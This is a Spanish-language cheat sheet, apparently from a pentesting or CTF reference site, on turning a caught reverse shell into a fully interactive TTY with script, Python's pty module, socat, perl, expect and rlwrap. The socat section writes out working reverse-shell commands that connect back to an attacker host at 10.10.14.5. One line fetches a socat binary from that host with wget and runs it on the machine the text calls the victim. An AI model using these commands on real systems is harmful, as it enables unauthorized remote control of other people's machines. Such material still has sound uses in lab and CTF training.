Mejorar la shell a una TTY completa
Una reverse shell recién recibida se cierra con Ctrl+C y no tiene autocompletado. Sigue los pasos en orden; el panel «Tus datos» rellena tu número de filas y columnas (míralo con stty size en otra terminal).
Con script
El método más fiable en Linux. script viene instalado casi siempre (paquete util-linux / bsdutils).
Paso a paso
script /dev/null -c bash
Ctrl+Z
stty raw -echo; fg
En zsh escríbelo así, en una sola línea. Al pulsar Enter no verás lo que escribes, y es normal.
reset xterm
Si pregunta «Terminal type?», escribe xterm.
export TERM=xterm-256color SHELL=bash
stty rows 44 columns 184
Antes del paso 6
stty size
Python
Igual que con script, pero creando la pseudo-terminal con el módulo pty. Usa python si no hay python3.
Paso a paso
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm-256color SHELL=bash
stty rows 44 columns 184
socat
Da una TTY completa desde el principio, sin pasos extra. Necesitas socat en la víctima (puedes subir un binario estático).
Conexión
socat file:`tty`,raw,echo=0 tcp-listen:443
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.5:443
wget -q http://10.10.14.5/socat -O /tmp/socat && chmod +x /tmp/socat && /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.5:443
Otros casos
Sin Python ni script
perl -e 'exec "/bin/bash";'
expect -c 'spawn bash; interact'
Windows
rlwrap -cAr nc -lvnp 443
Para una TTY de verdad en Windows usa ConPtyShell (ver la chuleta de reverse shells).
Si algo falla
reset
tty; echo $TERM
Ningún comando coincide.